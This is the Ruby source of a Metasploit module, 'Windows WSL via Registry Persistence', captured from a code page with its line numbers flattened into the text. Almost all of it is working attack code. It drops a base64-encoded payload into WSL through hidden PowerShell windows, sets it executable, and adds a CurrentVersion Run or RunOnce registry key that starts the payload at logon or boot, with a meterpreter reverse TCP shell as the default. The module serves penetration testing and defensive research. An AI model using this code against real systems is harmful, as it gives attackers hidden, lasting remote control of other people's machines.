Path: blob/master/modules/exploits/windows/persistence/wsl/registry.rb
32545 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::Windows::Powershell9include Msf::Post::Windows::Registry10include Msf::Post::File11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows WSL via Registry Persistence',19'Description' => %q{20This module will install a payload in WSL and execute it at user21logon or system startup via the registry value in "CurrentVersion\Run"22or "RunOnce" (depending on privilege and selected method).23The payload will be installed completely in registry.2425Staged payloads, like fetch payloads in linux X64 don't tend to work. The payload26will ask for the stage, then submit the HTTP fetch request27and when the payload is sent it doesn't execute.2829`cmd/linux/http/x64/meterpreter_reverse_tcp` and unix cmd payloads tend to work.30},31'License' => MSF_LICENSE,32'Author' => [33'Joe Helle', # original writeup34'h00die',35],36'Platform' => [ 'unix', 'linux' ],37'Arch' => [ARCH_CMD, ARCH_X64],38'SessionTypes' => [ 'meterpreter', 'shell' ],39'DefaultOptions' => {40'Payload' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'41},42'Targets' => [43[ 'Automatic', {} ]44],45'References' => [46['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],47['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],48['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],49['URL', 'https://medium.themayor.tech/windows-persistence-using-wsl2-8f87e319ea56'],50['URL', 'https://lolapps-project.github.io/lolapps/Desktop/wsl/']51],52'DefaultTarget' => 0,53'DisclosureDate' => '2022-01-29',54'Notes' => {55'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],56'Stability' => [CRASH_SAFE],57'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]58}59)60)6162register_options([63OptEnum.new('STARTUP',64[true, 'Startup type for the persistent payload.', 'USER', ['USER', 'SYSTEM']]),65OptString.new('RUN_NAME',66[false, 'The name to use for the \'Run\' key. (Default: random)' ]),67OptEnum.new('REG_KEY', [true, 'Registry Key To Install To', 'Run', %w[Run RunOnce]]),68OptString.new('PAYLOAD_NAME',69[false, 'The filename for the payload to be used on the target host (random by default).']),70])7172# overload this to prevent it from trying to do windows things since we're writing to the underlying linux73register_advanced_options(74[75OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']),76]77)78end7980def generate_cmd_reg81datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)82end8384def regkey85datastore['REG_KEY']86end8788def install_cmd(cmd, cmd_reg, root_path)89unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}", cmd_reg, cmd, 'REG_EXPAND_SZ')90fail_with(Failure::Unknown, 'Could not install run key')91end92print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{cmd_reg}")93end9495def get_root_path96return 'HKCU' if datastore['STARTUP'] == 'USER'9798'HKLM'99end100101def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)102@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"103if new_key104@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"105end106@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"107end108109def check110# /tmp seems to persist on *some* Ubuntu WSL (wsl v1 it did, v2 it didnt)111print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')112return Msf::Exploit::CheckCode::Safe('System does not have powershell') unless registry_enumkeys('HKLM\\SOFTWARE\\Microsoft\\').include?('PowerShell')113114vprint_good('Powershell detected on system')115116# test write to see if we have access117root_path = get_root_path118rand = Rex::Text.rand_text_alphanumeric(15)119120vprint_status("Checking registry write access to: #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")121return Msf::Exploit::CheckCode::Safe("Unable to write to registry path #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}") if registry_createkey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{rand}").nil?122123registry_deletekey("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}\\#{rand}")124125return Msf::Exploit::CheckCode::Safe('WSL Not installed') unless wsl_enabled?126127Msf::Exploit::CheckCode::Vulnerable('Registry writable and WSL installed')128end129130def install_persistence131root_path = get_root_path132print_status("Root path is #{root_path}")133table = Rex::Text::Table.new(134'Header' => 'WSL',135'Columns' => %w[# Instance_Name State Version Default],136'Rows' => instance_list.map.with_index do |instance, i|137[i + 1, instance[:name], instance[:state], instance[:version], instance[:default]]138end139)140141print_line table.to_s142payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))143144# write our payload into a file145vprint_status("Writing payload to: #{datastore['WritableDir']}/#{payload_name}. WSL may take a little while to start up...")146147b64_payload = Rex::Text.encode_base64(payload.encoded)148149bash_command = "bash -lc 'echo #{b64_payload} | base64 -d > #{datastore['WritableDir']}/#{payload_name}'"150ps_command = "powershell.exe -WindowStyle Hidden -Command \"wsl #{bash_command}\""151152# sometimes wsl is busy doing wsl things and can take a minute to come up for this first command.153resp = cmd_exec(ps_command, nil, 120)154fail_with(Failure::UnexpectedReply, "Writing payload output: #{resp}") unless resp.strip.empty?155print_good('Payload wrote successfully')156157resp = cmd_exec("powershell.exe -WindowStyle Hidden -Command \"wsl chmod +x #{datastore['WritableDir']}/#{payload_name}\"")158fail_with(Failure::UnexpectedReply, "Setting payload permissions output: #{resp}") unless resp.strip.empty?159160cmd = "powershell.exe -WindowStyle Hidden -Command \"wsl bash -lc 'cd #{datastore['WritableDir']}; nohup #{datastore['WritableDir']}/#{payload_name} > /dev/null 2>&1'\""161cmd_reg = generate_cmd_reg162163print_status('Installing run key')164install_cmd(cmd, cmd_reg, root_path)165166@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\#{regkey}' -v '#{cmd_reg}'\n"167@clean_up_rc << "execute -f cmd.exe -a \" /c wsl rm '#{datastore['WritableDir']}/#{payload_name}'\"\n"168end169170def wsl_enabled?171# Powershell output will look like the following:172#173# FeatureName : Microsoft-Windows-Subsystem-Linux174# DisplayName : Windows Subsystem for Linux175# Description : Provides services and environments for running native user-mode Linux shells and tools on Windows.176# RestartRequired : Possible177# State : Enabled178# CustomProperties :179# ServerComponent\Description : Provides services and environments for running native user-mode Linux180# shells and tools on Windows.181# ServerComponent\DisplayName : Windows Subsystem for Linux182# ServerComponent\Id : 1033183# ServerComponent\Type : Feature184# ServerComponent\UniqueName : Microsoft-Windows-Subsystem-Linux185# ServerComponent\Deploys\Update\Name : Microsoft-Windows-Subsystem-Linux186return false unless have_powershell?187188cmd = 'powershell.exe -WindowStyle Hidden -Command "Get-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux"'189result = cmd_exec(cmd)190191return false if result.blank?192193# Extract the state line, e.g. "State : Enabled"194if result =~ /^State\s*:\s*(\w+)/i195return Regexp.last_match(1).casecmp('Enabled').zero?196end197198false199end200201def clean_windows_utf16(str)202# Detect presence of null bytes (\u0000)203if str.include?("\u0000")204# Convert from UTF-16LE to UTF-8205str.encode('UTF-8', 'UTF-16LE')206else207# Return unchanged if it’s already clean208str209end210end211212def instance_list213vprint_status('Enumerating WSL Instances')214cmd = 'powershell.exe -WindowStyle Hidden -Command "wsl --list --verbose"'215# 3hrs later of debugging, i found this returns " \u0000 \u0000N\u0000A\u0000M\u0000E\u0000 \u0000 \u0000"... so clean it up216result = clean_windows_utf16(cmd_exec(cmd))217218return [] if result.nil?219return [] unless result =~ /NAME\s+STATE\s+VERSION/i220221lines = result.lines.map(&:strip).reject(&:empty?)222223header_index = lines.find_index { |l| l =~ /NAME\s+STATE\s+VERSION/i }224return [] if header_index.nil?225226data_lines = lines[(header_index + 1)..]227images = []228data_lines.map do |line|229# Handle the default distro marked with '*'230default = line.start_with?('*')231line = line.sub(/^\*\s*/, '') # remove leading "* "232233# Split by whitespace but preserve multi-word names234# Example line: "Ubuntu-22.04 Running 2"235name, state, version = line.split(/\s{2,}/)236237images.append({238name: name,239state: state,240version: version,241default: default242})243end244images245end246end247248249